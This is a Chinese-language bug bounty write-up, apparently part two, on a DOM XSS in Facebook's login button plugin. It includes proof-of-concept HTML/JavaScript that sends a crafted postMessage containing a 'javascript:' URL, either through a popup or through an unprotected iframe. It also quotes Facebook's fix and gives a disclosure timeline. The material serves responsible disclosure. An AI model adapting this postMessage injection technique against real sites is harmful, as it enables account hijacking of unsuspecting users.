从postMessage跨域通信中发现的Facebook DOM XSS(2)

   var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");

   setTimeout(function(){

        var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};

        opener.postMessage(message, '*');

    },'4000');

</script>

在构造iframe方法时，由于Facebook的该网站服务端中缺失’X-Frame-Options’头或CSP嵌入策略头’frame-ancestors’，所以可以在构造代码中嵌入以下页面：

<script>

function fbFrameLoaded() {

  var iframeEl = document.getElementById('fbframe');

  var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};

  iframeEl.contentWindow.postMessage(message, '*');

};

</script>

<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></iframe>

Facebook通过添加了facebook.com正则域规则，并在javascript SDK发送给代理iframe的Payload中实施了url参数检查校验，最终修复了该漏洞。

d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)),

j = c.call;

d || (j.url = b("XOAuthErrorController").getURIBuilder().setEnum("error_code", "PLATFORM__INVALID_URL").getURI().toString())

漏洞源于postmessage通信时的错误配置，导致攻击者可以构造恶意页面诱惑受害者点击其中的login with the Facebook按钮，从而会在facebook.com网站中触发一系列的恶意XSS Payload执行，深入利用将对受害者账户造成一键点击劫持。

2020.4.17 – 漏洞初报

2020.4.17 – Facebook确认漏洞有效

2020.4.20 – Facebook修复漏洞

2020.4.29 – Facebook验证漏洞修复有效

2020.5.01 – Facebook奖励了我$20000